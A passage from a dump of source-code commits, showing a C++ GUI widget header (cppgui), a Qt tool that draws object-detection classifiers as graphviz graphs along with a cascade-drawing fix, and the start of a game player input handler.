Config::Keyboard;\n using Keycode = typename Keyboard::Keycode;\n using Abstract_container_t = Abstract_container<Config, With_layout>;\n using Root_widget_t = Root_widget<Config, With_layout>;\n using Click_handler = typename Abstract_widget::Click_handler;\n\n void set_background_color(const Color &);\n auto background_color() const;\n\n void on_click(Click_handler);\n\n \/\/ void init();\n\n void set_visible(bool visible = true);\n bool visible() const { return _visible; }\n\n void set_focussable(bool state = true) { _focussable = state; }\n bool focussable() const { return _focussable; } \/\/ TODO: replace with can_take_focus() that takes other factors into consideration ?\n\n void added_to_container(Abstract_container_t *);\n void removed_from_container(Abstract_container_t *);\n\n \/\/ TODO: should the following be protected ?\n bool hovered() const { return _hovered; }\n\n virtual void take_focus();\n \/** Important: do not call gained_focus() from a child; call child_obtained_focus() instead,\n to inform the container.\n *\/\n virtual void gained_focus();\n virtual void loosing_focus();\n\n \/\/ TODO: rename to has_keyboard_focus() ?\n bool has_focus() { return container()->container_has_focus() && container()->focused_child() == this; }\n\n bool is_first_child() { return container()->children().front() == this; }\n bool is_last_child () { return container()->children().back () == this; }\n\n void key_down(const Keycode &);\n \/\/void key_up(const Keycode &);\n\n void mouse_enter() override;\n void mouse_exit() override;\n\n void mouse_click(const Point &, int button, int count) override;\n\n void change_visible(bool visible = true);\n\n protected:\n\n auto container() const { return _container; }\n auto root_widget() -> Root_widget_t * override { return _container->container_root_widget(); }\n\n void pass_up_and_notify_focus(); \/\/ default take_focus() action\n\n \/\/ Graphics system integration\n void shift_horizontally(Position_delta);\n void shift_vertically(Position_delta);\n void shift_up (Length);\n void shift_down(Length);\n\n \/\/ Static styles\n \/\/ TODO: move to \"stylesheet\"\n static auto default_dialog_background_color() -> Color { return {0.6f, 0.6f, 0.6f, 1}; }\n\n \/\/ Styling\n \/\/ TODO: move to new class Abstract_button<> ?\n auto button_face_color() -> Color;\n auto button_border_color() -> Color;\n auto button_border_width() -> int;\n\n Abstract_container_t *_container = nullptr;\n\n \/\/Rectangle _inner_rect;\n\n private:\n friend class Drag_controller;\n friend class Root_widget<Config, With_layout>;\n\n Color _bkgnd_clr = {0, 0, 0, 0};\n Click_handler _click_hndlr;\n bool _visible = true;\n bool _focussable = true;\n bool _hovered = false;\n };\n\n \/\/ Default implementations for Updating_aspect\n\n \/** The \"Updater\" aspect of a widget is responsible for making sure it gets\n redrawn when invalidate() has been called.\n\n The default implementation uses a pointer to parent to pass up redraw\n requests until they reach the root widget, which \"handles\" the request\n by passing it along to callback function.\n\n Because there is chance that a different implementation may not need\n to follow that route (e.g. by calling render() directly), the pointer\n to container may not be needed, so it is a member of this aspect\n implementation rather than of Widget<> itself.\n\n TODO: THIS IS PROVISIONAL. If it turns out, during further development, \n that a pointer to container is needed for reasons that are not dependent\n on the Updater (or any other) aspect family, that pointer, and the\n methods associated with it, should be moved to the Widget<> stem class.\n *\/\n template<class Config, bool With_layout> class Abstract_container;\n template<class Config, bool With_layout> class Default_container_updater;\n\n template<class Config, bool With_layout>\n struct Default__Widget__Updater {\n \n template<class Aspect_parent> struct Aspect: public Aspect_parent\n {\n class Widget_t: public Widget<Config, true> { friend struct Aspect; };\n using Abstract_container_t = Abstract_container<Config, With_layout>;\n\n void invalidate();\n\n private:\n auto p() { return static_cast<Widget_t*>(this); }\n };\n };\n\n \/\/ Layouting aspect\n\n template <class Config> struct Widget__Layouter<Config, true> {\n\n template <class Aspect_parent> struct Aspect: public Aspect_parent {\n\n \/** It is up to the implementation to guarantee that any internal state\/data\n needed for layouting (including computing\/returning the get_minimal_size())\n is kept up to date.\n *\/\n\n \/\/ Layouter aspect contract\n\n virtual void init_layout() = 0;\n virtual auto get_minimal_size () -> Extents = 0;\n virtual auto get_preferred_size() -> Extents { return get_minimal_size(); }\n virtual void layout() = 0;\n\n \/\/void set_padding(Width);\n \/\/void set_padding(const std::initializer_list<Width> &);\n\n void set_rectangle(const Point &nw, const Point &se);\n void set_rectangle_nw(const Point &, const Extents &);\n void set_rectangle_ne(const Point &, const Extents &);\n void set_rectangle_se(const Point &, const Extents &);\n void set_rectangle_sw(const Point &, const Extents &);\n\n protected:\n\n class Widget_t: public Widget<Config, true> { friend struct Aspect; };\n auto p() { return static_cast<Widget_t*>(this); }\n\n \/\/ \"Stylesheet\" TODO: make this into another aspect ?\n static constexpr auto button_padding() -> Padding { return { 5, 5, 5, 5 }; }\n\n \/\/ void compute_inner_rect();\n\n \/\/Padding _padding = {}; \/\/ TODO: provide accessor ?\n };\n };\n\n} \/\/ ns cppgui\n\n#define CPPGUI_INSTANTIATE_WIDGET(Config, With_layout) \\\n template cppgui::Widget <Config, With_layout>; \\\n template cppgui::Widget__Layouter <Config, With_layout>;\n\n<commit_msg>Safety commit before some experimentation<commit_after>#pragma once\n\n#include <cassert>\n#include <type_traits>\n#include <initializer_list>\n\n#include <gpc\/gui\/renderer.hpp> \/\/ TODO: other source & namespace\n\n#include \".\/basic_types.hpp\"\n#include \".\/geometry.hpp\"\n#include \".\/aspects.hpp\"\n#include \".\/layouting.hpp\"\n\n\/\/#include \".\/Stylesheet.hpp\"\n#include \".\/Resource.hpp\"\n#include \".\/Full_resource_mapper.hpp\"\n\nnamespace cppgui {\n\n \/\/ Forward declarations \n\n template <class Config, bool With_layout> class Root_widget;\n template <class Config, bool With_layout> class Abstract_container;\n \/*template <class Config, bool With_layout>*\/ class Drag_controller;\n\n enum Key_state { pressed, released }; \/\/ TODO: move to basic_types.hpp ?\n\n template <class Renderer> class Canvas;\n\n \/** Abstract_widget: functionality common to both Root_widget and Widget, i.e. not including the ability\n to function as an element in a container.\n *\/\n template <class Config, bool With_layout>\n class Abstract_widget\n {\n public:\n using Abstract_widget_t = Abstract_widget;\n using Root_widget_t = Root_widget<Config, With_layout>;\n using Canvas_t = typename Canvas<typename Config::Renderer>;\n using Native_color = typename Canvas_t::Native_color;\n using Font_handle = typename Canvas_t::Font_handle;\n using Keyboard = typename Config::Keyboard;\n using Keycode = typename Keyboard::Keycode;\n \/\/ TODO: move the following resource type definitions into a special struct and inherit from that ?\n using Color_resource = Resource<const Color &, Native_color, Canvas_t, true>;\n using Font_resource = Resource<const Rasterized_font *, Font_handle, Canvas_t, false>;\n\n using Click_handler = std::function<void(const Point &, int button, int clicks)>; \/\/ TODO: support return value ?\n using Pushed_handler = std::function<void()>; \/\/ for buttons TODO: renamed event to \"Push\" (as in \"a push happened\") ?\n\n auto& rectangle() { return _rect; }\n auto& rectangle() const { return _rect; }\n auto& position() { return _rect.pos; }\n auto& position() const { return _rect.pos; }\n auto& extents() { return _rect.ext; }\n auto& extents() const { return _rect.ext; }\n void set_position(const Point &);\n void set_extents(const Extents &);\n\n \/\/ TODO: color and other style definitions belong into stylesheets\n \/\/static auto button_face_color () { return Color{ 0.8f, 0.8f, 0.8f, 1 }; }\n \/\/static auto button_face_hovered_color() { return Color{ 0.9f, 0.9f, 0.9f, 1 }; }\n\n \/** The init() entry point is where a widget \"connects\" to its backends (the most important of\n which being the canvas).\n *\/\n virtual void init() {}\n\n \/** The update_view_from_data() entry point must be called after init(), and also after \n layout() if run-time layouting is enabled.\n *\/\n virtual void compute_view_from_data() {}\n\n virtual auto root_widget() -> Root_widget_t * = 0;\n\n \/\/ Input event injection\n\n \/** By convention, mouse positions are passed to a widget as relative to\n their own origin (meaning that it falls to the caller, i.e. usually\n the container, to subtract the child widget's position() from the\n coordinates it gets from yet higher up).\n *\/\n virtual void mouse_motion(const Point &) {}\n virtual void mouse_button(const Point &, int \/*button*\/, Key_state) {}\n virtual void mouse_click(const Point &, int button, int count);\n virtual void mouse_wheel(const Vector &) {}\n virtual void text_input(const char32_t *, size_t) {}\n virtual void key_down(const Keycode &) {}\n\n virtual void mouse_enter() {} \/\/ TODO: provide \"entry point\" parameter ?\n virtual void mouse_exit() {} \/\/ TODO: provide \"exit point\" parameter ?\n\n bool disabled() const { return false; } \/\/ TODO!!!\n\n \/** Convention: the provided position is an offset to be added to the widget's\n own coordinates.\n *\/\n virtual void render(Canvas_t *, const Point &offs) = 0;\n\n virtual bool handle_key_down(const Keycode &) { return false; }\n\n protected:\n\n \/\/ Rendering conveniences\n\n \/\/ auto rgba_to_native(Canvas_t *, const Color &) -> Native_color;\n auto rgba_to_native(const Color &) -> Native_color;\n void fill_rect(Canvas_t *, const Rectangle &rect, const Native_color &);\n void fill_rect(Canvas_t *, const Rectangle &rect, const Point &offs, const Native_color &);\n void fill_rect(Canvas_t *, const Point &pos, const Extents &ext, const Native_color &);\n void fill(Canvas_t *, const Point &offs, const Native_color &);\n auto convert_position_to_inner(const Point &) -> Point;\n auto advance_to_glyph_at(const Rasterized_font *, const std::u32string &text, size_t from, size_t to, Point &pos) \n -> const Glyph_control_box *;\n void draw_borders(Canvas_t *, const Point & offs, Width width, const Color &color);\n void draw_borders(Canvas_t *, const Rectangle &rect, const Point &offs, Width width, const Color &color);\n void draw_borders(Canvas_t *, const Rectangle &rect, const Point &offs, \n Width width, const Color & top, const Color & right, const Color & bottom, const Color & left);\n \/\/ PROVISIONAL\n void draw_stippled_inner_rect(Canvas_t *, const Rectangle &, const Point &offs);\n\n \/\/ Experimental & temporary: implement more sophisticated (and flexible!) styling\n \/\/ - May not \/ should not stay static; make const if possible\n\n static auto stroke_width() -> int { return 1; }\n static auto stroke_color() -> Color { return { 0, 0, 0, 1 }; }\n \/\/static auto padding() -> int { return 5; }\n static auto paper_color() -> Color { return {1, 1, 1, 1}; }\n\n private:\n\n Rectangle _rect = {};\n };\n\n template <class Config, bool With_layout> struct Widget__Layouter {\n\n template <class Aspect_parent> struct Aspect: Aspect_parent {\n void init_layout() {}\n };\n };\n\n \/\/ Widget \n\n template <class Config, bool With_layout>\n class Widget: \n public Config::template Widget_updater< \n Widget__Layouter<Config, With_layout>::template Aspect<\n Abstract_widget<Config, With_layout> > >\n {\n public:\n using Renderer = typename Config::Renderer;\n using Font_handle = typename Renderer::font_handle;\n using Keyboard = typename Config::Keyboard;\n using Keycode = typename Keyboard::Keycode;\n using Abstract_container_t = Abstract_container<Config, With_layout>;\n using Root_widget_t = Root_widget<Config, With_layout>;\n using Click_handler = typename Abstract_widget::Click_handler;\n\n void set_background_color(const Color &);\n auto background_color() const;\n\n void on_click(Click_handler);\n\n \/\/ void init();\n\n void set_visible(bool visible = true);\n bool visible() const { return _visible; }\n\n void set_focussable(bool state = true) { _focussable = state; }\n bool focussable() const { return _focussable; } \/\/ TODO: replace with can_take_focus() that takes other factors into consideration ?\n\n void added_to_container(Abstract_container_t *);\n void removed_from_container(Abstract_container_t *);\n\n \/\/ TODO: should the following be protected ?\n bool hovered() const { return _hovered; }\n\n virtual void take_focus();\n \/** Important: do not call gained_focus() from a child; call child_obtained_focus() instead,\n to inform the container.\n *\/\n virtual void gained_focus();\n virtual void loosing_focus();\n\n \/\/ TODO: rename to has_keyboard_focus() ?\n bool has_focus() { return container()->container_has_focus() && container()->focused_child() == this; }\n\n bool is_first_child() { return container()->children().front() == this; }\n bool is_last_child () { return container()->children().back () == this; }\n\n void key_down(const Keycode &);\n \/\/void key_up(const Keycode &);\n\n void mouse_enter() override;\n void mouse_exit() override;\n\n void mouse_click(const Point &, int button, int count) override;\n\n void change_visible(bool visible = true);\n\n protected:\n\n auto container() const { return _container; }\n auto root_widget() -> Root_widget_t * override { return _container->container_root_widget(); }\n\n void pass_up_and_notify_focus(); \/\/ default take_focus() action\n\n \/\/ Graphics system integration\n void shift_horizontally(Position_delta);\n void shift_vertically(Position_delta);\n void shift_up (Length);\n void shift_down(Length);\n\n \/\/ Static styles\n \/\/ TODO: move to \"stylesheet\"\n static auto default_dialog_background_color() -> Color { return {0.6f, 0.6f, 0.6f, 1}; }\n\n \/\/ Styling\n \/\/ TODO: move to new class Abstract_button<> ?\n auto button_face_color() -> Color;\n auto button_border_color() -> Color;\n auto button_border_width() -> int;\n\n Abstract_container_t *_container = nullptr;\n\n \/\/Rectangle _inner_rect;\n\n private:\n friend class Drag_controller;\n friend class Root_widget<Config, With_layout>;\n\n Color _bkgnd_clr = {0, 0, 0, 0};\n Click_handler _click_hndlr;\n bool _visible = true;\n bool _focussable = true;\n bool _hovered = false;\n };\n\n \/\/ Default implementations for Updating_aspect\n\n \/** The \"Updater\" aspect of a widget is responsible for making sure it gets\n redrawn when invalidate() has been called.\n\n The default implementation uses a pointer to parent to pass up redraw\n requests until they reach the root widget, which \"handles\" the request\n by passing it along to callback function.\n\n Because there is chance that a different implementation may not need\n to follow that route (e.g. by calling render() directly), the pointer\n to container may not be needed, so it is a member of this aspect\n implementation rather than of Widget<> itself.\n\n TODO: THIS IS PROVISIONAL. If it turns out, during further development, \n that a pointer to container is needed for reasons that are not dependent\n on the Updater (or any other) aspect family, that pointer, and the\n methods associated with it, should be moved to the Widget<> stem class.\n *\/\n template<class Config, bool With_layout> class Abstract_container;\n template<class Config, bool With_layout> class Default_container_updater;\n\n template<class Config, bool With_layout>\n struct Default__Widget__Updater {\n \n template<class Aspect_parent> struct Aspect: public Aspect_parent\n {\n class Widget_t: public Widget<Config, true> { friend struct Aspect; };\n using Abstract_container_t = Abstract_container<Config, With_layout>;\n\n void invalidate();\n\n private:\n auto p() { return static_cast<Widget_t*>(this); }\n };\n };\n\n \/\/ Layouting aspect\n\n \/** TODO: rename to reflect the fact that this is abstract ?\n *\/\n template <class Config> struct Widget__Layouter<Config, true> {\n\n template <class Aspect_parent> struct Aspect: public Aspect_parent {\n\n \/** It is up to the implementation to guarantee that any internal state\/data\n needed for layouting (including computing\/returning the get_minimal_size())\n is kept up to date.\n *\/\n\n \/\/ Layouter aspect contract\n\n virtual void init_layout() = 0;\n virtual auto get_minimal_size () -> Extents = 0;\n virtual auto get_preferred_size() -> Extents { return get_minimal_size(); }\n virtual void layout() = 0;\n\n \/\/void set_padding(Width);\n \/\/void set_padding(const std::initializer_list<Width> &);\n\n void set_rectangle(const Point &nw, const Point &se);\n void set_rectangle_nw(const Point &, const Extents &);\n void set_rectangle_ne(const Point &, const Extents &);\n void set_rectangle_se(const Point &, const Extents &);\n void set_rectangle_sw(const Point &, const Extents &);\n\n protected:\n\n class Widget_t: public Widget<Config, true> { friend struct Aspect; };\n auto p() { return static_cast<Widget_t*>(this); }\n\n \/\/ \"Stylesheet\" TODO: make this into another aspect ?\n static constexpr auto button_padding() -> Padding { return { 5, 5, 5, 5 }; }\n\n \/\/ void compute_inner_rect();\n\n \/\/Padding _padding = {}; \/\/ TODO: provide accessor ?\n };\n };\n\n} \/\/ ns cppgui\n\n#define CPPGUI_INSTANTIATE_WIDGET(Config, With_layout) \\\n template cppgui::Widget <Config, With_layout>; \\\n template cppgui::Widget__Layouter <Config, With_layout>;\n\n<|endoftext|>"} {"text":"<commit_before>#include <QCoreApplication>\n#include <QTemporaryFile>\n#include <QDir>\n\n#include <objedutils\/objedconsole.h>\n#include <objedutils\/objedconf.h>\n#include <objedutils\/objedexp.h>\n#include <objedutils\/objedio.h>\n\n#include <objed\/src\/additivecl.h>\n#include <objed\/src\/linearcl.h>\n\n#include \"visualizer.h\"\n\nint Visualizer::falseNodeCount = 0;\nint Visualizer::trueNodeCount = 0;\n\nint main(int argc, char *argv[])\n{\n QCoreApplication app(argc, argv);\n\n if (app.arguments().count() < 3)\n {\n QTextStream out(stdout);\n out << \"Visualizer. Visualize objed classifier as a graph (using graphviz)\" << endl;\n out << \"Usage: visualizer <classifier-path> <output-image-path> [<graphviz-dir-path>]\" << endl;\n return -1;\n }\n\n QString classifierPath = app.arguments()[1];\n QString outputImagePath = app.arguments()[2];\n\n Visualizer visualizer(app.arguments().count() > 3 ? app.arguments()[3] : \"\");\n return visualizer.main(classifierPath, outputImagePath);\n}\n\nVisualizer::Visualizer(const QString &graphvizDirPath)\n{\n#ifdef Q_OS_WIN\n if (graphvizDirPath.isEmpty() == false)\n {\n dotProcess.setWorkingDirectory(graphvizDirPath);\n }\n else\n {\n QStringList graphvizDirPathList;\n QDir programFilesDir(qgetenv(\"ProgramFiles\"));\n foreach (QString dirName, programFilesDir.entryList(QStringList(\"Graphviz*\"), QDir::Dirs))\n graphvizDirPathList.append(programFilesDir.absoluteFilePath(dirName));\n\n if (graphvizDirPathList.count() > 0)\n dotProcess.setWorkingDirectory(graphvizDirPathList.last() + \"\/bin\");\n }\n#else \/\/Q_OS_WIN\n if (graphvizDirPath.isEmpty() == false)\n {\n dotProcess.setWorkingDirectory(graphvizDirPath);\n }\n#endif \/\/Q_OS_WIN\n}\n\nVisualizer::~Visualizer()\n{\n return;\n}\n\nint Visualizer::main(const QString &classifierPath, const QString &outputImagePath)\n{\n QDir appDir(QCoreApplication::applicationDirPath());\n\n try\n {\n QTemporaryFile digraphFile; \n if (digraphFile.open() == false)\n throw ObjedException(\"Cannot create temporary file\");\n\n QTextStream out(&digraphFile);\n out << \"digraph Cascade {\" << endl;\n\n QSharedPointer<objed::Classifier> classifier = ObjedIO::loadClassifier(classifierPath);\n if (classifier.isNull() == true) \n throw ObjedException(\"Cannot load classifier\");\n\n if (classifier->type() == objed::CascadeClassifier::typeStatic())\n visualizeCascade(QTextStream(&digraphFile), classifier.dynamicCast<objed::CascadeClassifier>().data());\n else if (classifier->type() == objed::TreeClassifier::typeStatic())\n visualizeTree(QTextStream(&digraphFile), classifier.dynamicCast<objed::TreeClassifier>().data());\n else\n throw ObjedException(\"Unsupported classifier type\");\n\n out << \"}\" << endl;\n \n QStringList dotArguments;\n dotArguments.append(QString(\"-T%0\").arg(QFileInfo(outputImagePath).suffix().toLower()));\n dotArguments.append(QString(\"-o%0\").arg(appDir.absoluteFilePath(outputImagePath)));\n dotArguments.append(digraphFile.fileName());\n\n QString dotPath = dotProcess.workingDirectory().isEmpty() ? \n \"dot\" : QDir(dotProcess.workingDirectory()).absoluteFilePath(\"dot\");\n\n dotProcess.start(dotPath, dotArguments);\n if (dotProcess.waitForFinished() == false) \n throw ObjedException(\"Cannot run dot process\");\n\n QByteArray dotOutput = dotProcess.readAllStandardOutput();\n if (dotOutput.length() > 0) ObjedConsole::printWarning(dotOutput.trimmed());\n\n QByteArray dotError = dotProcess.readAllStandardError();\n if (dotError.length() > 0) ObjedConsole::printWarning(dotError.trimmed());\n }\n catch (ObjedException ex)\n {\n ObjedConsole::printError(ex.details());\n }\n\n return 0;\n}\n\nint Visualizer::computeWCCount(const objed::Classifier *classifier)\n{\n if (classifier == 0)\n throw ObjedException(\"Invalid classifier (classifier == null)\");\n\n if (classifier->type() == objed::LinearClassifier::typeStatic())\n return dynamic_cast<const objed::LinearClassifier *>(classifier)->clList.size();\n if (classifier->type() == objed::AdditiveClassifier::typeStatic())\n return dynamic_cast<const objed::AdditiveClassifier *>(classifier)->clList.size();\n\n throw ObjedException(\"Unsupported strong classifier\");\n}\n\nvoid Visualizer::connect(QTextStream &out, const QString &node1, const QString &node2, bool type)\n{\n out << QString(\"%0 -> %1 [label = \\\" %3\\\"];\").arg(node1).arg(node2).arg(type ? \"T\" : \"F\");\n}\n\nvoid Visualizer::connect(QTextStream &out, const QString &node1, bool type)\n{\n QString nodeId = type ? QString(\"true%0\").arg(trueNodeCount++) : QString(\"false%0\").arg(falseNodeCount++);\n QString nodeColor = type ? QString(\"darkgreen\") : QString(\"red\");\n QString nodeLabel = type ? QString(\"True\") : QString(\"False\");\n \n out << QString(\"%0 [label = \\\"%1\\\", shape = ellipse, color = %2, fontcolor = %2];\").\n arg(nodeId).arg(nodeLabel).arg(nodeColor) << endl;\n\n connect(out, node1, nodeId, type);\n}\n\nint Visualizer::visualizeCascade(QTextStream &out, objed::CascadeClassifier *cascade)\n{\n if (cascade == 0 || cascade->clList.size() == 0)\n throw ObjedException(\"The cascade has no levels\");\n\n for (size_t i = 0; i < cascade->clList.size() - 1; i++)\n {\n int wcCount = computeWCCount(cascade->clList[i]);\n out << QString(\"sc%0 [label = \\\"Sc (%1 Wc)\\\"];\").arg(i).arg(wcCount) << endl;\n connect(out, QString(\"sc%0\").arg(i), false);\n connect(out, QString(\"sc%0\").arg(i), QString(\"sc%0\").arg(i + 1), true);\n }\n\n connect(out, QString(\"sc%0\").arg(cascade->clList.size() - 1), false);\n connect(out, QString(\"sc%0\").arg(cascade->clList.size() - 1), true);\n\n return 0;\n}\n\nint Visualizer::visualizeTree(QTextStream &out, objed::TreeClassifier *tree)\n{\n static int scIndex = 0;\n\n if (tree == 0 || tree->centralCl == 0)\n throw ObjedException(\"The tree has no nodes\");\n\n const int myIndex = scIndex++;\n const int wcCount = computeWCCount(tree->centralCl);\n out << QString(\"sc%0 [label = \\\"Sc (%1 Wc)\\\"];\").arg(myIndex).arg(wcCount) << endl;\n\n if (tree->leftCl != 0)\n {\n int leftIndex = visualizeTree(out, dynamic_cast<objed::TreeClassifier *>(tree->leftCl));\n connect(out, QString(\"sc%0\").arg(myIndex), QString(\"sc%0\").arg(leftIndex), false);\n }\n else\n {\n connect(out, QString(\"sc%0\").arg(myIndex), false);\n }\n\n if (tree->rightCl != 0)\n {\n int rightIndex = visualizeTree(out, dynamic_cast<objed::TreeClassifier *>(tree->rightCl));\n connect(out, QString(\"sc%0\").arg(myIndex), QString(\"sc%0\").arg(rightIndex), true);\n \n }\n else\n {\n connect(out, QString(\"sc%0\").arg(myIndex), true);\n }\n\n return myIndex;\n}\n<commit_msg>Fix visualizing of cascades<commit_after>#include <QCoreApplication>\n#include <QTemporaryFile>\n#include <QDir>\n\n#include <objedutils\/objedconsole.h>\n#include <objedutils\/objedconf.h>\n#include <objedutils\/objedexp.h>\n#include <objedutils\/objedio.h>\n\n#include <objed\/src\/additivecl.h>\n#include <objed\/src\/linearcl.h>\n\n#include \"visualizer.h\"\n\nint Visualizer::falseNodeCount = 0;\nint Visualizer::trueNodeCount = 0;\n\nint main(int argc, char *argv[])\n{\n QCoreApplication app(argc, argv);\n\n if (app.arguments().count() < 3)\n {\n QTextStream out(stdout);\n out << \"Visualizer. Visualize objed classifier as a graph (using graphviz)\" << endl;\n out << \"Usage: visualizer <classifier-path> <output-image-path> [<graphviz-dir-path>]\" << endl;\n return -1;\n }\n\n QString classifierPath = app.arguments()[1];\n QString outputImagePath = app.arguments()[2];\n\n Visualizer visualizer(app.arguments().count() > 3 ? app.arguments()[3] : \"\");\n return visualizer.main(classifierPath, outputImagePath);\n}\n\nVisualizer::Visualizer(const QString &graphvizDirPath)\n{\n#ifdef Q_OS_WIN\n if (graphvizDirPath.isEmpty() == false)\n {\n dotProcess.setWorkingDirectory(graphvizDirPath);\n }\n else\n {\n QStringList graphvizDirPathList;\n QDir programFilesDir(qgetenv(\"ProgramFiles\"));\n foreach (QString dirName, programFilesDir.entryList(QStringList(\"Graphviz*\"), QDir::Dirs))\n graphvizDirPathList.append(programFilesDir.absoluteFilePath(dirName));\n\n if (graphvizDirPathList.count() > 0)\n dotProcess.setWorkingDirectory(graphvizDirPathList.last() + \"\/bin\");\n }\n#else \/\/Q_OS_WIN\n if (graphvizDirPath.isEmpty() == false)\n {\n dotProcess.setWorkingDirectory(graphvizDirPath);\n }\n#endif \/\/Q_OS_WIN\n}\n\nVisualizer::~Visualizer()\n{\n return;\n}\n\nint Visualizer::main(const QString &classifierPath, const QString &outputImagePath)\n{\n QDir appDir(QCoreApplication::applicationDirPath());\n\n try\n {\n QTemporaryFile digraphFile; \n if (digraphFile.open() == false)\n throw ObjedException(\"Cannot create temporary file\");\n\n QTextStream out(&digraphFile);\n out << \"digraph Cascade {\" << endl;\n\n QSharedPointer<objed::Classifier> classifier = ObjedIO::loadClassifier(classifierPath);\n if (classifier.isNull() == true) \n throw ObjedException(\"Cannot load classifier\");\n\n if (classifier->type() == objed::CascadeClassifier::typeStatic())\n visualizeCascade(QTextStream(&digraphFile), classifier.dynamicCast<objed::CascadeClassifier>().data());\n else if (classifier->type() == objed::TreeClassifier::typeStatic())\n visualizeTree(QTextStream(&digraphFile), classifier.dynamicCast<objed::TreeClassifier>().data());\n else\n throw ObjedException(\"Unsupported classifier type\");\n\n out << \"}\" << endl;\n \n QStringList dotArguments;\n dotArguments.append(QString(\"-T%0\").arg(QFileInfo(outputImagePath).suffix().toLower()));\n dotArguments.append(QString(\"-o%0\").arg(appDir.absoluteFilePath(outputImagePath)));\n dotArguments.append(digraphFile.fileName());\n\n QString dotPath = dotProcess.workingDirectory().isEmpty() ? \n \"dot\" : QDir(dotProcess.workingDirectory()).absoluteFilePath(\"dot\");\n\n dotProcess.start(dotPath, dotArguments);\n if (dotProcess.waitForFinished() == false) \n throw ObjedException(\"Cannot run dot process\");\n\n QByteArray dotOutput = dotProcess.readAllStandardOutput();\n if (dotOutput.length() > 0) ObjedConsole::printWarning(dotOutput.trimmed());\n\n QByteArray dotError = dotProcess.readAllStandardError();\n if (dotError.length() > 0) ObjedConsole::printWarning(dotError.trimmed());\n }\n catch (ObjedException ex)\n {\n ObjedConsole::printError(ex.details());\n }\n\n return 0;\n}\n\nint Visualizer::computeWCCount(const objed::Classifier *classifier)\n{\n if (classifier == 0)\n throw ObjedException(\"Invalid classifier (classifier == null)\");\n\n if (classifier->type() == objed::LinearClassifier::typeStatic())\n return dynamic_cast<const objed::LinearClassifier *>(classifier)->clList.size();\n if (classifier->type() == objed::AdditiveClassifier::typeStatic())\n return dynamic_cast<const objed::AdditiveClassifier *>(classifier)->clList.size();\n\n throw ObjedException(\"Unsupported strong classifier\");\n}\n\nvoid Visualizer::connect(QTextStream &out, const QString &node1, const QString &node2, bool type)\n{\n out << QString(\"%0 -> %1 [label = \\\" %3\\\"];\").arg(node1).arg(node2).arg(type ? \"T\" : \"F\");\n}\n\nvoid Visualizer::connect(QTextStream &out, const QString &node1, bool type)\n{\n QString nodeId = type ? QString(\"true%0\").arg(trueNodeCount++) : QString(\"false%0\").arg(falseNodeCount++);\n QString nodeColor = type ? QString(\"darkgreen\") : QString(\"red\");\n QString nodeLabel = type ? QString(\"True\") : QString(\"False\");\n \n out << QString(\"%0 [label = \\\"%1\\\", shape = ellipse, color = %2, fontcolor = %2];\").\n arg(nodeId).arg(nodeLabel).arg(nodeColor) << endl;\n\n connect(out, node1, nodeId, type);\n}\n\nint Visualizer::visualizeCascade(QTextStream &out, objed::CascadeClassifier *cascade)\n{\n if (cascade == 0 || cascade->clList.size() == 0)\n throw ObjedException(\"The cascade has no levels\");\n\n size_t i = 0;\n for (i = 0; i < cascade->clList.size() - 1; i++)\n {\n int wcCount = computeWCCount(cascade->clList[i]);\n out << QString(\"sc%0 [label = \\\"Sc (%1 Wc)\\\"];\").arg(i).arg(wcCount) << endl;\n connect(out, QString(\"sc%0\").arg(i), false);\n connect(out, QString(\"sc%0\").arg(i), QString(\"sc%0\").arg(i + 1), true);\n }\n int wcCount = computeWCCount(cascade->clList[i]);\n out << QString(\"sc%0 [label = \\\"Sc (%1 Wc)\\\"];\").arg(i).arg(wcCount) << endl;\n connect(out, QString(\"sc%0\").arg(i), false);\n connect(out, QString(\"sc%0\").arg(i), true);\n\n return 0;\n}\n\nint Visualizer::visualizeTree(QTextStream &out, objed::TreeClassifier *tree)\n{\n static int scIndex = 0;\n\n if (tree == 0 || tree->centralCl == 0)\n throw ObjedException(\"The tree has no nodes\");\n\n const int myIndex = scIndex++;\n const int wcCount = computeWCCount(tree->centralCl);\n out << QString(\"sc%0 [label = \\\"Sc (%1 Wc)\\\"];\").arg(myIndex).arg(wcCount) << endl;\n\n if (tree->leftCl != 0)\n {\n int leftIndex = visualizeTree(out, dynamic_cast<objed::TreeClassifier *>(tree->leftCl));\n connect(out, QString(\"sc%0\").arg(myIndex), QString(\"sc%0\").arg(leftIndex), false);\n }\n else\n {\n connect(out, QString(\"sc%0\").arg(myIndex), false);\n }\n\n if (tree->rightCl != 0)\n {\n int rightIndex = visualizeTree(out, dynamic_cast<objed::TreeClassifier *>(tree->rightCl));\n connect(out, QString(\"sc%0\").arg(myIndex), QString(\"sc%0\").arg(rightIndex), true);\n \n }\n else\n {\n connect(out, QString(\"sc%0\").arg(myIndex), true);\n }\n\n return myIndex;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Player.h\"\n#include \"InputHandler.h\"\n\n\/**\n * The joystick button and sticks states are checked. If the button 1 (B on\n * xbox controller) is pressed, the player's speed is increased (it makes him\n * run), if the left stick is tilted in any direction, the player's velocity is\n * set.\n *\/\nvoid Player::handleInput() {\n\tfloat xAxisValue, yAxisValue, velocityBasis = 1.0;\n\tInputHandler* handlerInstance = InputHandler::Instance();\n\n\tif (handlerInstance->joysticksInitialised()) {\n\t\tif (handlerInstance->getButtonState(0, 1)) {\n\t\t\tvelocityBasis = 2.5;\n\t\t}\n\n\t\txAxisValue = (float) handlerInstance->stickXValue(0, LEFT_STICK);\n\t\tyAxisValue = (float) handlerInstance->stickYValue(0, LEFT_STICK);\n\t\tif (xAxisValue > 0 || xAxisValue < 0) {\n\t\t\tm_velocity.setX(velocityBasis * xAxisValue);\n\t\t\tsetAnimated(true);\n\t\t}\n\n\t\tif (yAxisValue > 0 || yAxisValue < 0) {\n\t\t\tm_velocity.setY(velocityBasis * yAxisValue);\n\t\t\tsetAnimated(true);\n\t\t}\n\t}\n}\n\n\/**\n * Reset the player velocity and update the input even polling and the player\n *\/\nvoid Player::update() {\n\tsetAnimated(false);\n\tm_velocity.setX(0);\n\tm_velocity.setY(0);\n\n\thandleInput();\n\tSDLDrawable::update();\n}\n<commit_msg>when sprinting, the player is animated faster<commit_after>#include \"Player.h\"\n#include \"InputHandler.h\"\n\n\/**\n * The joystick button and sticks states are checked. If the button 1 (B on\n * xbox controller) is pressed, the player's speed is increased (it makes him\n * run), if the left stick is tilted in any direction, the player's velocity is\n * set.\n *\/\nvoid Player::handleInput() {\n\tfloat xAxisValue, yAxisValue, velocityBasis = 1.0;\n\tInputHandler* handlerInstance = InputHandler::Instance();\n\n\tif 